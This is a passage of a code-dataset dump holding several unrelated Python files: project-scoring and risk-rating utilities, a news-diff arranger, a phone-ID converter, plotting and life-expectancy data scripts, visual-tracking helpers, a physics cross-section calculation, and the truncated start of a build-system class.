regulatory tools available\"),\n \"examples\": _(\n \"Open publication of an existing data layer. Low administrative burden (e.g. existing agreements in place).\"),\n },\n },\n \"ecological\": {\n 1: {\n \"criteria\": _(\"limited ecological value, or lower priority species/habitats\"),\n \"examples\": _(\"Project related to a species or area with limited or unknown ecological role, or of localized interest.\"),\n },\n 2: {\n \"criteria\": _(\"Evidence of ecological value, e.g., prey linkages to key species.\"),\n \"examples\": _(\n \"Project related to a species or area with known linkages to a species of high ecological value (prey species), or importance identified through ecological modelling.\"),\n },\n 3: {\n \"criteria\": _(\"high ecological value (important species) or high ecological risk (SARA-listed species)\"),\n \"examples\": _(\n \"Project related to a nationally or regionally recognized ESS (Eelgrass) or EBSA (Minas Basin), or SAR (Blue Whale).\"),\n },\n },\n \"scale\": {\n 1: {\n \"criteria\": _(\"limited geographic or temporal scope; site-specific and lessons not readily applicable to other areas\"),\n \"examples\": _(\"Data only available for a single location or bay.\"),\n },\n 2: {\n \"criteria\": _(\"broad geographic/temporal scope; area of some significance\"),\n \"examples\": _(\"Subregional data layer, e.g., for a single NAFO Unit or MPA.\"),\n },\n 3: {\n \"criteria\": _(\"broad geographic or temporal scope; area of high significance\"),\n \"examples\": _(\"Bioregional data layers, e.g. remote sensing, RV Survey.\"),\n },\n },\n\n }\n\n\ndef get_risk_rating(impact, likelihood):\n \"\"\"This is taken from the ACRDP application form\"\"\"\n l = 1\n m = 2\n h = 3\n rating_dict = {\n # impact\n 1: {\n # likelihood -- > risk rating\n 1: l, 2: l, 3: l, 4: m, 5: m,\n },\n 2: {\n 1: l, 2: l, 3: m, 4: m, 5: m,\n },\n 3: {\n 1: l, 2: m, 3: m, 4: m, 5: h,\n },\n 4: {\n 1: m, 2: m, 3: m, 4: h, 5: h,\n },\n 5: {\n 1: m, 2: m, 3: h, 4: h, 5: h,\n },\n }\n return rating_dict[impact][likelihood]\n","sub_path":"projects2/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":26722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"572304112","text":"#!/usr/bin/env python\n# encoding: utf-8\n\nimport json\nimport os\nimport glob\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\nfrom models import News, Base\nfrom datetime import date\nimport shutil\n\n\nmedia_list = {\n 1: '蘋果',\n 2: '中時',\n 3: '中央社',\n 4: '東森',\n 5: '自由',\n 6: '新頭殼',\n 7: 'NowNews',\n 8: '聯合',\n 9: 'TVBS',\n 10: '中廣新聞網',\n 11: '公視新聞網',\n 12: '台視',\n 13: '華視',\n 14: '民視',\n # // 15 : '三立',\n 16: '風傳媒',\n}\n\n\ndef inspect_josn_format(inspect_str):\n try:\n json.loads(inspect_str)\n except ValueError:\n return False\n return True\n\n\ndef create_output_file(f, news_event):\n print('title: ' + f.name)\n f.write('--->\\n')\n f.write(news_event.get_url() + '\\n\\n')\n f.write(news_event.get_title() + '\\n')\n f.write(news_event.get_content())\n\n\ndef get_news_info(news_file, session, is_diff_file):\n title = ''\n content = ''\n is_exists_id = False\n already_get_id = False\n for line in news_file:\n if inspect_josn_format(line) and line.startswith('{'):\n already_get_id = True\n is_exists_id = False\n title = ''\n content = ''\n meta = json.loads(line)\n id = meta['id']\n create_time = date.fromtimestamp(int(meta['created_at'])).strftime(\"%Y-%m-%d\")\n try_get = session.query(News).filter_by(news_id=id).first()\n\n if try_get and is_diff_file:\n is_exists_id = True\n # if not try_get.inspect_expiration_date(create_time):\n session.query(News).filter_by(news_id=id).first().update_changed_count()\n elif (not try_get) and (not is_diff_file):\n url = meta['url']\n source_media = media_list[int(meta['source'])]\n else:\n already_get_id = False\n print('Error item!')\n else:\n if already_get_id == False:\n continue\n if is_exists_id == True:\n if content == '' and title != '':\n content = line\n already_get_id = False\n if not((\"404\" in content) or (\"404\" in title)):\n session.query(News).filter_by(news_id=id).update({'title': title, 'content': content})\n if title == '':\n title = line\n else:\n if content == '' and title != '':\n content = line\n already_get_id = False\n news_add = News(news_id=id, url=url, title=title,\n source_media=source_media,\n content=content, create_time=create_time)\n session.add(news_add)\n session.commit\n if title == '':\n title = line\n return session\n\n\ndef create_diff_map(source_dir):\n print('source_dir: ' + source_dir)\n if os.path.exists('db.sqlite'):\n os.remove('db.sqlite')\n engine = create_engine(\"sqlite:///db.sqlite\", echo=False)\n Base.metadata.create_all(engine)\n Session = sessionmaker(bind=engine)\n session = Session()\n for file_name in glob.glob(source_dir + '/*'):\n if 'diff' in file_name:\n continue\n with open(file_name, 'r') as f:\n print('normal: ' + file_name)\n session = get_news_info(f, session, False)\n\n for file_name in glob.glob(source_dir + '/*diff*'):\n print('diff: ' + file_name)\n with open(file_name, 'r') as f:\n session = get_news_info(f, session, True)\n\n all_of_news = session.query(News).all()\n output_dir = source_dir + '_output'\n if os.path.exists(output_dir):\n shutil.rmtree(output_dir)\n os.makedirs(output_dir)\n for news_event in all_of_news:\n print('title: ' + news_event.get_news_file_name())\n with open(output_dir + '/' + news_event.get_news_file_name(), 'w') as f:\n create_output_file(f, news_event)\n\n\ndef arrange(source_dir, dest_dir):\n if not os.path.exists(dest_dir):\n os.mkdir(dest_dir)\n\n create_diff_map(source_dir)\n '''\n for news_file in source_dir:\n with open(news_file, 'r') as news_f:\n '''\n# arrange('test_input', 'tmp')\narrange('extract', 'tmp')\n","sub_path":"src/newest_arrange.py","file_name":"newest_arrange.py","file_ext":"py","file_size_in_byte":4402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"103777605","text":"import sys\r\n\r\ndef convertIdToPhones(m_align, phonesFile):\r\n\tphoneLabeling = {}\r\n\twith open(phonesFile, 'r') as pf:\r\n\t\tfor line in pf:\r\n\t\t\tphone, pid = line.split()\r\n\t\t\tphoneLabeling[pid] = phone\r\n\r\n\tm_align_cols = []\r\n\tedited_lines = []\r\n\twith open(m_align, 'r') as mf:\r\n\t\tfor line in mf:\r\n\t\t\tcols = line.split()\r\n\t\t\tcols[4] = phoneLabeling[cols[4]]\r\n\t\t\tedited_lines.append(' '.join(cols))\r\n\r\n\tprint('\\n'.join(edited_lines))\r\n\t\r\nif __name__ == '__main__':\r\n\tif len(sys.argv) != 3:\r\n\t\tprint(\"usage: python3 id2phone.py path/to/merged_alignments path/to/phones.txt\")\r\n\t\texit(0)\r\n\tconvertIdToPhones(sys.argv[1], sys.argv[2])\r\n","sub_path":"Submission/task7/id2phone.py","file_name":"id2phone.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"48693909","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 11 09:15:11 2020\n\n@author: iit-dharwad\n\"\"\"\n\nimport scipy.io\nimport sklearn.metrics\nfrom Confusion_Kaggle import plot_confusion_matrix\nimport numpy as np\ntemp1=scipy.io.loadmat('Acurracies/3 Class/y_true.mat')\ntemp2=scipy.io.loadmat('Acurracies/3 Class/y_pred.mat')\n \nyt=temp1[\"y_true\"]\nyp=temp2[\"y_pred\"]\nyt=np.squeeze(yt)\nyp=np.squeeze(yp)\n\ndifference=yt-yp\ndifference[difference!=0]=1;\n\nerror=np.sum(difference,axis=1)/600\naccuracy=(1-error)*100\n#%% ACCURACY PLOTS\nimport matplotlib.pyplot as plt\nx = range(50, 2000,20)\n\nplt.figure(num=None, figsize=(18, 12), dpi=100, facecolor='w', edgecolor='k')\n# plt.imshow(cm, interpolation='nearest', cmap=cmap)\nplt.plot(x,accuracy)\nplt.title('Dirichlet 3 Class')\n# plt.rcParams.update({'font.size': 20})\nplt.xlabel('Vocabulary Size')\nplt.ylabel('Accuracy %')\n\n#%% CONFUSION MATRIX\nbest_accuracy=np.argmax(accuracy)\nbest_vocab_size=x[best_accuracy]\nmytitle='Confusion Matrix for Vocabulary Length: '+np.str(best_vocab_size)\nconf_matx=sklearn.metrics.confusion_matrix(yp[best_accuracy],yt[best_accuracy],normalize=None)\nplot_confusion_matrix(conf_matx,['Motorcycles','Hockey','Pol: Mid East'],title=mytitle, normalize=False)\n# plot_confusion_matrix(conf_matx,range(20),title=mytitle, normalize=False)\n\n","sub_path":"Assignment 1/News Data Part 2/Plots_and_Figures.py","file_name":"Plots_and_Figures.py","file_ext":"py","file_size_in_byte":1320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"622416402","text":"from rit_lib import *\r\n\r\n\"\"\"\r\nRaymond Healy\r\n\r\nUtilities: This task involves writing tools for reading and processing the data, as well\r\nas defining data structures to store the data. The other tasks import and use these\r\ntools.\r\n\"\"\"\r\n\r\n\r\n# -----------------------------------------------------------------------------------------#\r\ndef read_data(filename=\"worldbank_life_expectancy\"):\r\n return ReadData(filename)\r\n\r\n\r\ndef filter_region(data, region):\r\n return FilterForRegion(data, region.strip())\r\n\r\n\r\ndef filter_income(data, income):\r\n return FilterForIncomeGroup(data, income.strip())\r\n\r\n\r\n# ----------------------------------------------------------------------------------------------------------#\r\n\r\n# -----------------------------------------------------------------------------------------------#\r\ndef kNoRegionString():\r\n return \"No Region\"\r\n\r\n\r\ndef kNoIncomeString():\r\n return \"No Income Group\"\r\n\r\n\r\n# ----------------------------------------------------------------------------------------------------------#\r\n\r\n# -----------------------------------------------------------------------------------------#\r\nDatum = struct_type(\"Datum\", (str, \"name\"), (str, \"code\"), (list, \"data\"), (str, \"region\"),\r\n (str, \"incomeGroup\"), (str, \"notes\"))\r\n\r\n\r\ndef MkDatum(name='', code='', data=[], region='', incomeGroup='', notes=''):\r\n return Datum(name, code, data, region, incomeGroup, notes)\r\n\r\n\r\ndef DataForYear(datum, year):\r\n if 1960 <= year <= 2015:\r\n return datum.data[year - 1960]\r\n else:\r\n raise IndexError(\r\n \"Attempted to access data for an invalid year. <> only accepts years b/n 1960 and 2015, inc.\")\r\n\r\n\r\nCountryValue = struct_type(\"CountryValue\", (str, \"country\"), (float, \"value\"))\r\n\r\n\r\ndef CountryValueSort(countryValues, reverse=False):\r\n if reverse:\r\n countryValues.sort(key=lambda x: x.value, reverse=False)\r\n else:\r\n countryValues.sort(key=lambda x: x.value, reverse=True)\r\n return countryValues\r\n\r\n\r\nRange = struct_type(\"Range\", (str, \"country\"), (int, \"year1\"), (int, \"year2\"),\r\n (float, \"value1\"), (float, \"value2\"))\r\n\r\n\r\ndef RangeSort(ranges):\r\n ranges.sort(key=lambda x: x.value2 - x.value1, reverse=False)\r\n return ranges\r\n\r\n\r\n# ----------------------------------------------------------------------------------------------------------#\r\n\r\n# ------------------------------------------------------------------------------------------#\r\ndef ReadData(filename=\"worldbank_life_expectancy\"):\r\n \"\"\"\r\n Init. Conditions: A file to an expectancy data <> file formatted as nindicated in the documentation\r\n Final Conditions: NA\r\n\r\n Parameters: filepath - A valid string filepath to the expectancy data plaintext file\r\n metaFilepath - A valid string filepath to the expectancy metadata plaintext file\r\n\r\n Returns: A tuple of four dictionaries.\r\n idx 0: Values are <>s, indexed by <>\r\n idx 1: Values are <>s, indexed by <>\r\n idx 2: Values are lists of <>s, indexed by <>\r\n idx 3: Values are lists of <>s, indexed by <>\r\n\r\n Description: Takes the specified life-expectancy data and metadata files and returns a <> with two\r\n dictionaries of <>s indexed by <> and <>, and 2 dictionaries of <>s\r\n of <>s indexed by <> and <>\r\n \"\"\"\r\n\r\n filepath = \"data/\" + filename.strip() + \"_data.txt\"\r\n metaFilepath = \"data/\" + filename.strip() + \"_metadata.txt\"\r\n\r\n # ---------------------------------------------------------------#\r\n countries = {} # To hold the <> entries indexed by their <>\r\n codes = {} # To hold the <> entries indexed by their three-character <>\r\n regions = {} # To hold <>s of <> entries sorted by <>\r\n incomeGroups = {} # To hold <>s of <> entries sorted by <>\r\n # --------------------------------------------------------------------------------------------#\r\n\r\n # ------------------------------------------------------------------------#\r\n f = open(filepath) # Open the file indicated by <> as <>\r\n lines = f.readlines()[1:] # Take all lines from <>, discarding the first, header line\r\n # --------------------------------------------------------------------------------------------#\r\n\r\n # ------------------------------>s>------------------------------#\r\n for line in lines: # On each line from the data <>\r\n data = line.split(',')[:-1] # Split <> on each comma, and discard the empty, final string\r\n country = MkDatum(data[0].strip(),\r\n data[1].strip(), []) # Make a new <> instance with the specified <> and <>\r\n data = data[2:] # Remove the name and code from <> to avoid \"double counting\"\" them\r\n\r\n for dP in data: # Go through each remaining sub-strings in <> (refered to as data points or <>\r\n dP = dP.strip() # Strip down the next number's string representation\r\n if dP == '': # If <> is an empty string (i.e. no expectancy data)\r\n country.data += [None] # Add a representative <> in the data slot for that year\r\n else: # Otherwise (if there is expectancy data for the year)\r\n country.data += [float(dP)]\r\n # Add the data point as a <> to the expectancy data in the slot in order from 1960 to 2015\r\n\r\n # Save the partial country <> indexed by <> to easily insert metadata\r\n codes[country.code] = country\r\n # --------------------------------------------------------------------------------------------#\r\n\r\n # --------------------------------------------------------------#\r\n f.close() # Close the expectancy data file\r\n f = open(metaFilepath) # Open the expectancy metadata file as <>\r\n lines = f.readlines()[1:] # Read all metadata sets and discard the header line\r\n # --------------------------------------------------------------------------------------------#\r\n\r\n # ------------------------->s>-------------------------#\r\n for line in lines: # For each data set <> in the metadata file\r\n line = line.strip().split(',') # Strip down the data set and separate out the components\r\n\r\n code = line[0] # Salvage the country code to find the pre-existing entry, if there is one\r\n\r\n region = line[1] # Take the country region from the metadata file\r\n if region.strip() == '': # If no region data is provided\r\n region = kNoRegionString() # Lable the region as such\r\n\r\n incomeGroup = line[2] # Take the income level indicated by the file\r\n if incomeGroup.strip() == '': # If no income level data is provided\r\n incomeGroup = kNoIncomeString() # Lable the group as such\r\n\r\n notes = '' # Create an empty string for the remainder\r\n if len(line) > 3: # If there are eny entries left\r\n notes = str(line[3]) # Add the next entry\r\n if len(line) > 3: # If there are any remaining notes\r\n line = line[4:] # Strip out the previously added note sub-string\r\n for l in line: # For each remaining sub-string of <>\r\n notes += ',' + l # Replace the stripped out comma from <> and add the next sub-string\r\n\r\n if code in codes: # If this country code was specified in the data file\r\n codes[code].region = region # Label the region that the country belongs to\r\n codes[code].incomeGroup = incomeGroup # Lable the country's income bracket\r\n codes[code].notes = notes.strip(\r\n ' \\t\\r\\n\"').strip() # Annotate each country <>, removing whitespace and double quotes\r\n else: # Otherwise (if this is a new country code)\r\n codes[code] = MkDatum('', code, [], region, incomeGroup,\r\n notes) # Make a new <> to store meta-data and store that by <>\r\n # --------------------------------------------------------------------------------------------#\r\n\r\n # ------------------>, <>, and <>>-------------------#\r\n for datum in codes.values(): # For each country (or, <>)\r\n region = datum.region # Take the <> from the country data\r\n incomeGroup = datum.incomeGroup # Take the <> from the country data\r\n\r\n countries[datum.name] = datum # Insert <>, labled with its <>\r\n\r\n if region in regions: # If the <> has an associated <> in <>\r\n regions[region] += [datum] # Append <> to that <>\r\n else: # Otherwise (if the <> does not have an associated <> in <>)\r\n regions[region] = [datum] # Create a new <> for the <> in <>\r\n\r\n if incomeGroup in incomeGroups: # If the <> has an associated <> in <>\r\n incomeGroups[incomeGroup] += [datum] # Append <> to that <>\r\n else: # Otherwise (if the <> does not have an associated <> in <>)\r\n incomeGroups[incomeGroup] = [datum] # Create a new <> for the <> in <>\r\n # --------------------------------------------------------------------------------------------#\r\n\r\n return countries, codes, regions, incomeGroups # Return all of the created dictionaries\r\n\r\n\r\n# ----------------------------------------------------------------------------------------------------------#\r\n\r\n# ------------------------------------------------------------------------------------------------#\r\ndef NumEntries(countryList):\r\n return len(countryList)\r\n\r\n\r\ndef NumCountries(dictIn):\r\n if isinstance(dictIn, tuple):\r\n dictIn = dictIn[0]\r\n\r\n countryList = DictValuesToList(dictIn)\r\n num = NumEntries(countryList)\r\n for country in countryList:\r\n if country.region == kNoRegionString():\r\n num -= 1\r\n\r\n return num\r\n\r\n\r\n# ----------------------------------------------------------------------------------------------------------#\r\n\r\n# -------------------------------------------------------------------------------------------------#\r\ndef FilterForRegion(dictIn, region=\"All\"):\r\n if isinstance(dictIn, tuple):\r\n dictIn = dictIn[0]\r\n\r\n countryList = DictValuesToList(dictIn)\r\n regionCodes = {}\r\n regionCountries = {}\r\n\r\n lst = []\r\n\r\n if region == \"All\" or region ==\"all\":\r\n for country in countryList:\r\n if not country.region == kNoRegionString():\r\n lst += [country]\r\n else:\r\n for country in countryList: # For each <> in <>\r\n if country.region == region: # If <> matches the desired <>\r\n lst += [country]\r\n\r\n for country in lst:\r\n regionCodes[country.code] = country\r\n regionCountries[country.name] = country\r\n\r\n return regionCountries, regionCodes\r\n\r\n\r\ndef FilterForIncomeGroup(dictIn, incomeGroup=\"All\"):\r\n if isinstance(dictIn, tuple):\r\n dictIn = dictIn[0]\r\n\r\n countryList = DictValuesToList(dictIn)\r\n incomeGroupCodes = {}\r\n incomeGroupCountries = {}\r\n\r\n lst = []\r\n\r\n if incomeGroup == \"All\" or incomeGroup == 'all':\r\n for country in countryList:\r\n if not country.incomeGroup == kNoIncomeString():\r\n lst += [country]\r\n else:\r\n for country in countryList: # For each <> in <>\r\n if country.incomeGroup == incomeGroup: # If <> matches the desired <>\r\n lst += [country]\r\n\r\n for country in lst:\r\n incomeGroupCodes[country.code] = country\r\n incomeGroupCountries[country.name] = country\r\n\r\n return incomeGroupCodes, incomeGroupCountries\r\n\r\n\r\ndef FilterToCountries(dictIn):\r\n data = DictValuesToList(dictIn)\r\n countries = {}\r\n codes = {}\r\n\r\n for country in data:\r\n if not country.region == kNoRegionString():\r\n countries[country.name] = country\r\n codes[country.code] = country\r\n\r\n return countries, codes\r\n\r\n\r\n# ----------------------------------------------------------------------------------------------------------#\r\n\r\n# -------------------------------------------------------------------------------------------#\r\ndef DictValuesToList(dictionary):\r\n if isinstance(dictionary, tuple):\r\n dictionary = dictionary[0]\r\n\r\n return list(dictionary.values())\r\n\r\n\r\ndef DictKeysToList(dictionary):\r\n if isinstance(dictionary, tuple):\r\n dictionary = dictionary[0]\r\n\r\n return list(dictionary.keys())\r\n\r\n\r\n# ----------------------------------------------------------------------------------------------------------#\r\n\r\n# -----------------------------------------------------------------------------------------#\r\ndef PrintValidData(datum):\r\n for year in range(1960, 2016):\r\n data = DataForYear(datum, year)\r\n if data is not None:\r\n print(\"Year:\", year, \"Life expectancy:\", data)\r\n\r\n\r\ndef PrintTop(sortedLst, num=10):\r\n num = min(len(sortedLst), num)\r\n\r\n for i in range(num):\r\n country = sortedLst[i]\r\n print(i + 1, \":\", country.country, country.value)\r\n\r\n\r\ndef PrintBottom(sortedLst, num=10):\r\n num = min(len(sortedLst), num)\r\n\r\n for i in range(num):\r\n i = len(sortedLst) - 1 - i\r\n country = sortedLst[i]\r\n print(i + 1, ':', country.country, country.value)\r\n\r\n\r\n# ----------------------------------------------------------------------------------------------------------#\r\n\r\ndef main():\r\n (countries, codes, regions, incomeGroups) = ReadData()\r\n countryLst = DictValuesToList(countries)\r\n regionLst = DictKeysToList(regions)\r\n incomeGroupLst = DictKeysToList(incomeGroups)\r\n\r\n print(\"Total Number of Entities: \", NumEntries(countryLst))\r\n print(\"Total Number of Countries/Territories: \", NumCountries(countries))\r\n\r\n print(\"\\n\\nRegions and Their Country Count:\")\r\n for region in regionLst:\r\n (filteredCountries, filteredCodes) = FilterForRegion(countries, region)\r\n print(region, ':', NumCountries(filteredCountries))\r\n\r\n print(\"\\n\\nIncome Categories and Their Country Count:\")\r\n for incomeGroup in incomeGroupLst:\r\n (filteredCountries, filteredCodes) = FilterForIncomeGroup(countries, incomeGroup)\r\n print(incomeGroup, ': ', NumCountries(filteredCountries))\r\n\r\n region = input(\"\\n\\nEnter a Region Name: \").strip()\r\n print(\"Countries in the\", region, \"region:\")\r\n (filteredCountries, filteredCodes) = FilterForRegion(countries, region)\r\n for country in filteredCountries.values():\r\n print(country.name, '(', country.code, ')')\r\n\r\n incomeGroup = input(\"\\n\\nEnter an Income Category: \").strip()\r\n print(\"Countries in the '\", incomeGroup, \"' Income Category:\")\r\n (filteredCountries, filteredCodes) = FilterForIncomeGroup(countries, incomeGroup)\r\n for country in filteredCountries.values():\r\n print(country.name, '(', country.code, ')')\r\n\r\n sel = input(\"\\n\\nEnter the Name of a Country or Country Code (Enter to Quit):\").strip()\r\n while sel != '':\r\n if sel in countries:\r\n print(\"Data for\", sel)\r\n sel = countries[sel]\r\n PrintValidData(sel)\r\n\r\n elif sel.upper() in codes:\r\n print(\"Data for\", sel)\r\n sel = codes[sel]\r\n PrintValidData(sel)\r\n else:\r\n print(sel, \"is not a valid country name or code\")\r\n\r\n sel = input(\"\\n\\nEnter the Name of a Country or Country Code (Enter to Quit):\").strip()\r\n\r\n\r\ndef foo():\r\n (countries, codes, regions, incomeGroups) = ReadData()\r\n data = codes[\"RWA\"].data\r\n\r\n minIdx = 0\r\n maxIdx = 0\r\n minimum = data[0]\r\n maximum = data[0]\r\n for i in range(len(data)):\r\n if data[i] < minimum:\r\n minimum = data[i]\r\n minIdx = i\r\n if data[i] > maximum:\r\n maximum = data[i]\r\n maxIdx = i\r\n\r\n print(minIdx + 1960)\r\n print(minimum)\r\n print('\\n')\r\n print(maxIdx + 1960)\r\n print(maximum)\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n # foo()\r\n","sub_path":"CS 1/Project/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":16883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"121487175","text":"import math\r\n\r\nimport numpy as np\r\nfrom scipy import signal\r\nimport cv2\r\n\r\n\r\ndef gausssmooth(img, sigma):\r\n # Create Gaussian kernel and filter image with it.\r\n x = np.array(list(range(math.floor(-3.0 * sigma + 0.5), math.floor(3.0 * sigma + 0.5) + 1)))\r\n G = np.exp(-x**2 / (2 * sigma**2))\r\n G = G / np.sum(G)\r\n return cv2.sepFilter2D(img, -1, G, G)\r\n\r\n\r\ndef generate_responses_1():\r\n # Generate responses map.\r\n responses = np.zeros((100, 100), dtype=np.float32)\r\n responses[70, 50] = 1\r\n responses[50, 70] = 0.5\r\n return gausssmooth(responses, 10)\r\n\r\n\r\ndef generate_responses_2():\r\n # Generate responses map.\r\n responses = np.zeros((1000, 1000), dtype=np.float32)\r\n val = 1/800\r\n incr = 1/800\r\n gauss_sig = signal.gaussian(1000, std=400)\r\n for idx in np.arange(800):\r\n responses[idx, :] = val*gauss_sig\r\n val += incr\r\n return gausssmooth(responses, 40)\r\n\r\n\r\ndef get_patch(img, center, sz):\r\n \r\n # Crop coordinates.\r\n x0 = round(int(center[0] - sz[0] / 2))\r\n y0 = round(int(center[1] - sz[1] / 2))\r\n x1 = int(round(x0 + sz[0]))\r\n y1 = int(round(y0 + sz[1]))\r\n \r\n # Set padding - how far across the image border is the edge of patch?\r\n x0_pad = max(0, -x0)\r\n x1_pad = max(x1 - img.shape[1] + 1, 0)\r\n y0_pad = max(0, -y0)\r\n y1_pad = max(y1 - img.shape[0] + 1, 0)\r\n\r\n # Crop target.\r\n if len(img.shape) > 2:\r\n # BGR image.\r\n img_crop = img[y0 + y0_pad:y1 - y1_pad, x0 + x0_pad:x1 - x1_pad, :]\r\n else:\r\n # Grayscale image.\r\n img_crop = img[y0 + y0_pad:y1 - y1_pad, x0 + x0_pad:x1 - x1_pad]\r\n \r\n # Cropped and padded image.\r\n im_crop_padded = cv2.copyMakeBorder(img_crop, y0_pad, y1_pad, x0_pad, x1_pad, cv2.BORDER_REPLICATE)\r\n\r\n # Crop mask tells which pixels are within the image (1) and which are outside (0).\r\n m_ = np.ones((img.shape[0], img.shape[1]), dtype=np.float32)\r\n crop_mask = m_[y0 + y0_pad:y1 - y1_pad, x0 + x0_pad:x1 - x1_pad]\r\n crop_mask = cv2.copyMakeBorder(crop_mask, y0_pad, y1_pad, x0_pad, x1_pad, cv2.BORDER_CONSTANT, value=0)\r\n\r\n # Return cropped and padded image and crop mask.\r\n return im_crop_padded, crop_mask\r\n\r\n\r\ndef create_epanechnik_kernel(width, height, sigma):\r\n\r\n # Get floored halves of width and height (should be odd).\r\n w2 = int(math.floor(width / 2))\r\n h2 = int(math.floor(height / 2))\r\n \r\n # Create meshgrid and normalize values to interval [0, 1].\r\n [X, Y] = np.meshgrid(np.arange(-w2, w2 + 1), np.arange(-h2, h2 + 1))\r\n X = X / np.max(X)\r\n Y = Y / np.max(Y)\r\n \r\n # Create kernel.\r\n kernel = (1 - ((X / sigma)**2 + (Y / sigma)**2))\r\n\r\n # Normalize kernel to interval [0, 1] and\r\n # clip negative values.\r\n kernel = kernel / np.max(kernel)\r\n kernel[kernel < 0] = 0\r\n\r\n # Return kernel.\r\n return kernel\r\n\r\n\r\ndef extract_histogram(patch, nbins, weights=None):\r\n\r\n # Note: input patch must be a BGR image (3 channel numpy array).\r\n # Convert each pixel intensity to the one of nbins bins.\r\n channel_bin_idxs = np.floor((patch.astype(np.float32) / float(255)) * float(nbins - 1))\r\n \r\n # Calculate bin index of a 3D histogram.\r\n bin_idxs = (channel_bin_idxs[:, :, 0] * nbins**2 + channel_bin_idxs[:, :, 1] * nbins + channel_bin_idxs[:, :, 2]).astype(np.int32)\r\n\r\n # Count bin indices to create histogram (use per-pixel weights if given).\r\n if weights is not None:\r\n histogram_ = np.bincount(bin_idxs.flatten(), weights=weights.flatten())\r\n else:\r\n histogram_ = np.bincount(bin_idxs.flatten())\r\n \r\n # zero-pad histogram (needed since bincount function does not generate histogram with nbins**3 elements).\r\n histogram = np.zeros((nbins**3, 1), dtype=histogram_.dtype).flatten()\r\n histogram[:histogram_.size] = histogram_\r\n\r\n # Return computed histogram.\r\n return histogram\r\n\r\n\r\ndef backproject_histogram(patch, histogram, nbins):\r\n \r\n # Note: input patch must be a BGR image (3 channel numpy array).\r\n # Convert each pixel intensity to the one of nbins bins.\r\n channel_bin_idxs = np.floor((patch.astype(np.float32) / float(255)) * float(nbins - 1))\r\n \r\n # Calculate bin index of a 3D histogram.\r\n bin_idxs = (channel_bin_idxs[:, :, 0] * nbins**2 + channel_bin_idxs[:, :, 1] * nbins + channel_bin_idxs[:, :, 2]).astype(np.int32)\r\n\r\n # Use histogram as a lookup table for pixel backprojection.\r\n backprojection = np.reshape(histogram[bin_idxs.flatten()], (patch.shape[0], patch.shape[1]))\r\n\r\n # Return computed backprojection.\r\n return backprojection\r\n\r\n\r\n# Base class for tracker.\r\nclass Tracker():\r\n def __init__(self, params):\r\n self.parameters = params\r\n\r\n def initialize(self, image, region):\r\n raise NotImplementedError\r\n\r\n def track(self, image):\r\n raise NotImplementedError\r\n\r\n","sub_path":"assignments/2/src/ex2_utils.py","file_name":"ex2_utils.py","file_ext":"py","file_size_in_byte":4852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"558691576","text":"# calculate the cross section and errors\n\nimport math\n# \n#Full Fits\n# Mu 1.2142e+00 +/- 2.40e-01\n# Ele 1.3489e+00 +/- 2.80e-01\n# Comb 1.2870e+00 +/- 2.21e-01\n\n#Stastical only fits\n# Mu 1.2557e+00 +/- 6.09e-02\n# Ele 1.4135e+00 +/- 7.16e-02\n# Comb 1.3231e+00 +/- 4.65e-02\n#\n\n\nleps=[\"mu\",\"ele\",\"comb\"]\n\n# signal strength\nsss=[1.2142,1.3489,1.2870]\n# signal strength errors\nsserrs=[0.240,0.280,0.221]\n\n# signal strength errors from stat only fit\nstaterrs=[0.0609,0.0716,0.0465]\n\n# theory (5F) xc\nxct=0.51\n# theory uncertainties\nerrxct=0.01\nerracc=0.1\n\nprint(\"\\n\")\nprint(\"Uncertainties calculated relative to xc_theory x signal strength\")\nfor lep,ss,sserr,staterr in zip(leps,sss,sserrs,staterrs):\n print(\" %4s xc: %.4f +- %.4f (stat) +- %.4f (syst) +- %.4f (theo) +- %.4f (lumi) pb \"%( \n lep, # name\n ss*xct, # xc obs\n ss*staterr*xct, # stat error\n math.sqrt( ((ss*sserr*xct)*(ss*sserr*xct)) - ((ss*staterr*xct)*(ss*staterr*xct)) ), # syst err\n ss*xct*math.sqrt( errxct*errxct + erracc*erracc ),\n ss*xct*0.026\n ))\nprint(\"\\n\")\n","sub_path":"Wbb8TeV/scripts/crosssection/xc_calc.py","file_name":"xc_calc.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"418528965","text":"#\n# copyright (c) 2009 Ralf Habacker \n#\n\n\"\"\" \\package BuildSystemBase\"\"\"\nimport EmergeDebug\nfrom EmergeBase import *\nimport compiler\n\nclass BuildSystemBase(EmergeBase):\n \"\"\"provides a generic interface for build systems and implements all stuff for all build systems\"\"\"\n debug = True\n\n def __init__(self, typeName=\"\"):\n \"\"\"constructor\"\"\"\n EmergeBase.__init__(self)\n self.supportsNinja = False\n self.supportsCCACHE = emergeSettings.getboolean(\"Compile\",\"UseCCache\", False ) and compiler.isMinGW()\n self.supportsClang = emergeSettings.getboolean(\"Compile\",\"UseClang\", False )\n self.buildSystemType = typeName\n self.envPath = \"\"\n if self.compiler() == \"mingw\":\n self.envPath = \"mingw/bin\"\n if self.compiler() == \"mingw4\":\n self.envPath = \"mingw4/bin\"\n\n\n def _getmakeProgram(self):\n if self.supportsNinja and emergeSettings.getboolean(\"Compile\",\"UseNinja\", False):\n return \"ninja\"\n makeProgram = emergeSettings.get(\"Compile\", \"MakeProgram\", \"\" )\n if makeProgram != \"\" and self.subinfo.options.make.supportsMultijob:\n EmergeDebug.debug(\"set custom make program: %s\" % makeProgram, 1)\n return makeProgram\n elif not self.subinfo.options.make.supportsMultijob:\n if \"MAKE\" in os.environ:\n del os.environ[\"MAKE\"]\n if compiler.isMSVC() or compiler.isIntel() 